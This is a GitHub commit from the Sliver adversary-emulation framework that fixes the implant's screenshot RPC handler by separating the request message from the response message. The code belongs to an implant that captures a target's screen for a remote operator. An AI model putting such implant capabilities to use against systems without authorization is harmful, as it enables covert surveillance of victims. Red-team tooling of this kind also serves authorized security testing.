Deserialize to the proper message, and don't reuse message in respons…

…e. Fixes Screenshot not working. #610
BishopFox · Feb 23, 2022 · 2b286ae · 2b286ae
1 parent ee7d36d
commit 2b286ae
Showing 1 changed file with 4 additions and 4 deletions.
diff --git a/implant/sliver/handlers/rpc-handlers.go b/implant/sliver/handlers/rpc-handlers.go
@@ -174,7 +174,7 @@ func ifconfig() *sliverpb.Ifconfig {
 }
 
 func screenshotHandler(data []byte, resp RPCResponse) {
-	sc := &sliverpb.Screenshot{}
+	sc := &sliverpb.ScreenshotReq{}
 	err := proto.Unmarshal(data, sc)
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -185,9 +185,9 @@ func screenshotHandler(data []byte, resp RPCResponse) {
 	// {{if .Config.Debug}}
 	log.Printf("Screenshot Request")
 	// {{end}}
-
-	sc.Data = screen.Screenshot()
-	data, err = proto.Marshal(sc)
+	scRes := &sliverpb.Screenshot{}
+	scRes.Data = screen.Screenshot()
+	data, err = proto.Marshal(scRes)
 
 	resp(data, err)
 }